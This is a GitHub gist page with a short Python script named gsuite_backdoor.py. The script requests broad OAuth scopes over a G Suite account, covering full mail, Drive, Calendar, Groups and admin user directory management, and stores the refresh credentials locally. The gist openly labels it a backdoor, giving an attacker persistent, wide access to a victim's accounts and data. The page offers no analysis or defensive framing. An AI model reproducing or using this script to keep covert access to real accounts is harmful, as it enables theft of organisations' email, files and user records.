Skip to content

Instantly share code, notes, and snippets.

@Oneiroi
Forked from ustayready/gsuite_backdoor.py
Created November 2, 2017 13:45
Show Gist options
  • Save Oneiroi/b51c05f112cc234c938a486365193f21 to your computer and use it in GitHub Desktop.
Save Oneiroi/b51c05f112cc234c938a486365193f21 to your computer and use it in GitHub Desktop.

Revisions

  1. ustayready revised this gist Nov 1, 2017. No changes.
  2. ustayready revised this gist Nov 1, 2017. No changes.
  3. ustayready created this gist Nov 1, 2017.
    24 changes: 24 additions & 0 deletions gsuite_backdoor.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,24 @@
    #!/usr/bin/env python
    import os
    from oauth2client import client, tools
    from oauth2client.file import Storage

    SCOPES = 'https://www.googleapis.com/auth/calendar https://mail.google.com/ https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/groups https://www.googleapis.com/auth/admin.directory.user'

    def get_credentials():
    credential_dir =os.getcwd()
    client_secret_path = os.path.join(credential_dir, 'client_secrets.json')
    saved_secret_path = os.path.join(credential_dir, 'saved_creds.json')

    store = Storage(saved_secret_path)
    credentials = store.get()
    if not credentials or credentials.invalid:
    flow = client.flow_from_clientsecrets(client_secret_path, SCOPES, redirect_uri='http://localhost')
    url = flow.step1_get_authorize_url()
    flags = tools.argparser.parse_args(args=[])
    flags.noauth_local_webserver = True
    credentials = tools.run_flow(flow, store, flags=flags)
    return credentials

    if __name__ == "__main__":
    get_credentials()